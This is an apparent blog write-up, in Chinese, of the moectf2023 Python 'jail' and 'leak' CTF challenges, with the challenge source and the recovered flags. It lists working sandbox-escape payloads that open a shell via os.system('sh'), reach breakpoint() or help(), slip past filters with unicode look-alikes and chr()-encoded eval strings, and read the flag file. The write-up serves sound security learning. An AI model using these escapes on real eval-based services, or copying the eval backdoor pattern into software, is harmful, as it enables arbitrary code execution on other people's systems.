moectf2023-jail复现


Jail Level 0

题目描述:

1
2
3
祝大家能够玩得开心,成功逃离小C的pyjail!

这里是level0,十分简单,我相信你能很快解决他。

nc连接

查看源码

方法一:

1
__import__("os").system("sh")

方法二:

海象运算符

1
(a:="__import__('os').system('sh')")

第二次进去,a变量的值会保存,那么输入exec(a)或者eval(a)都可以拿到shell

方法三:

1
2
3
4
5
breakpoint()

然后分别输入
import os
os.system("sh")

最后flag为

1
flag{Y0u_54ld-RighT_But_y0u_SHOuID-pLAy_g3N5hln_1MpaCT1}

Jail Level 1

题目描述:

1
这里是level1 似乎比level0多了一些限制 指的是payload长度

nc连接查看源码

限制了长度

payload:

breakpoint()长度正好是12

1
breakpoint()

最后flag为

1
flag{you-Sa1D-R1GHT-6Ut_Y0u_ShoULd-p1ay-gEn5H1N_imp4ct2}

Jail Level 2

题目描述:

1
这里是level2 你能用比level1更短的payload解决这个挑战吗

nc连接查看源码

限制长度不能大于6

payload:

1
help()

最后flag为

1
flag{y0u_s@ID_R1gHT-bUT-you_5hoU1d-Pl@Y_GENshIn_1mPaCt1}

Jail Level 3

题目描述:

1
这里是level3 和level1有关 但是之前的payload不能直接工作

nc连接查看源码

方法一:使用非ascii码的breakpoint()

payload:

1
breakpoint()

方法二:对breakpoint()unicode编码

payload:

1
𝔟𝓻𝒆𝒶𝓴𝓹𝒐𝑖𝓷𝓽()

最后flag为

1
flag{you_s41D-RiGhT-6uT-Y0U-SHOUlD_PlAY-GEn5hln-1Mp4ct0}

Jail Level 4

题目描述:

1
这里是level4 他似乎就是一个简单的复读机 我们该如何逃逸他呢 ?_?

方法一:

1
__import__('os').system('cat flag')

方法二:

1
open("flag").read()

最后flag为

1
flag{yOu-S@iD-R1GHt_6uT-you-sH0UlD_PIAy_G3n5Hln_1MpACt1}

Jail Level 5

题目描述:

1
这里是level5 你似乎不能使用一些字符 你有办法解决他们吗

nc连接查看源码

方法一

padyload:

1
vars(vars()[(*vars(),)[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])]])[(*vars(vars()[(*vars(),)[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])]]),)[([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])+([]==[])]]()

方法二

payload:

1
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(115)+chr(104)+chr(34)+chr(41))

最后flag为

1
flag{y0u_s@ld-RiGHT_bUT_YOU-5hou1D-P14Y_g3NshlN-iMpACt0}

Jail Level 6

题目描述:

1
这里是level6 和level5有所不同 不能用的东西似乎更多了

nc连接查看源码

方法一

payload:

1
vars(vars()[[*vars()][-9]])[[*vars(vars()[[*vars()][-9]])][12]]()

方法二

payload:

1
eval(str((CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[40],CHALLENGE_SOURCE_CODE[17],CHALLENGE_SOURCE_CODE[5],CHALLENGE_SOURCE_CODE[16],CHALLENGE_SOURCE_CODE[6],CHALLENGE_SOURCE_CODE[20],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[176],CHALLENGE_SOURCE_CODE[10],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[16],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[162],CHALLENGE_SOURCE_CODE[52],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[157],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[20],CHALLENGE_SOURCE_CODE[13],CHALLENGE_SOURCE_CODE[17],CHALLENGE_SOURCE_CODE[10],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[56],CHALLENGE_SOURCE_CODE[24],CHALLENGE_SOURCE_CODE[11],CHALLENGE_SOURCE_CODE[162]))[7::5])

最后flag为

1
flag{yOU-5A1D_RlghT-bUt-YOU-5hoUId-pI@Y_g3NShiN_1MpacT0}

Leak Level 0

题目描述:

1
欢迎来到m0eLeak 你需要用你的所学来泄露一些特殊的东西 从而进行rce或者其他的操作 这里是level0 非常简单

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"

print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")

print("""| Options:
| [V]uln
| [B]ackdoor""")

def func_filter(s):

not_allowed = set('vvvveeee')

return any(c in not_allowed for c in s)

while(1):

challenge_choice = input(">>> ").lower().strip()

if challenge_choice == 'v':

code = input("code >> ")

if(len(code)>9):

print("you're hacker!")

exit(0)

if func_filter(code):

print("Oh hacker! byte~")

exit(0)

print(eval(code))

elif challenge_choice == 'b':

print("Please enter the admin key")

key = input("key >> ")

if(key == fake_key_into_local_but_valid_key_into_remote):

print("Hey Admin,please input your code:")

code = input("backdoor >> ")

print(eval(code))

else:

print("You should select valid choice!")

nc连接

第一步,v模式,code长度不超过9,指令还没被过滤掉。

第二步,b模式,输入key匹配正确后,便可随意输入。
查看环境变量,找到真正的key,再利用backdoor来getshell。

1
使用locals ()可以获取Python中的局部变量

选择b模式,输入key得到flag

最后flag为

1
flag{WHy_@rE_YoU_PIaYIng_h@rUhik@g314d9128}

Leak Level 1

题目描述:

1
这里是level1 比level0多了一些过滤

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"

print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")

def func_filter(s):

not_allowed = set('moe_dbt')

return any(c in not_allowed for c in s)

print("""| Options:
| [V]uln
| [B]ackdoor""")

while(1):

challenge_choice = input(">>> ").lower().strip()

if challenge_choice == 'v':

code = input("code >> ")

if(len(code)>6):

print("you're hacker!")

exit(0)

if func_filter(code):

print("Oh hacker! byte~")

exit(0)

print(eval(code))

elif challenge_choice == 'b':

print("Please enter the admin key")

key = input("key >> ")

if(key == fake_key_into_local_but_vailed_key_into_remote):

print("Hey Admin,please input your code:")

code = input("backdoor >> ")

print(eval(code))

else:

print("You should select valid choice!")

通过v模式获取key,但v模式限制长度不超过6
payload:

1
2
3
𝓱𝒆𝒍𝓹()

__main__

拿到key就能出flag了

最后flag为

1
flag{WhY-Are-you_plAYiNg_H@rUH1k4G32062e56}

Leak Level 2

题目描述:

1
这里是level2 比level1多了一些过滤

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"

print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")

print("""| Options:
| [V]uln
| [B]ackdoor""")

def func_filter(s):

not_allowed = set('dbtaaaaaaaaa!')

return any(c in not_allowed for c in s)

while(1):

challenge_choice = input(">>> ").lower().strip()

if challenge_choice == 'v':

print("you need to ")

code = input("code >> ")

if(len(code)>6):

print("you're hacker!")

exit(0)

if func_filter(code):

print("Oh hacker! byte~")

exit(0)

if not code.isascii():

print("please use ascii only thanks!")

exit(0)

print(eval(code))

elif challenge_choice == 'b':

print("Please enter the admin key")

key = input("key >> ")

if(key == fake_key_into_local_but_vailed_key_into_remote):

print("Hey Admin,please input your code:")

code = input("backdoor> ")

print(eval(code))

else:

print("You should select valid choice!")

不允许使用unicode编码绕过

但还是可以使用help()

还是用

1
__main__

拿到key还是得到flag

最后flag为

1
flag{WhY_ar3_YoU_PlaYiNG-HaRuhik@g320e7b06}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录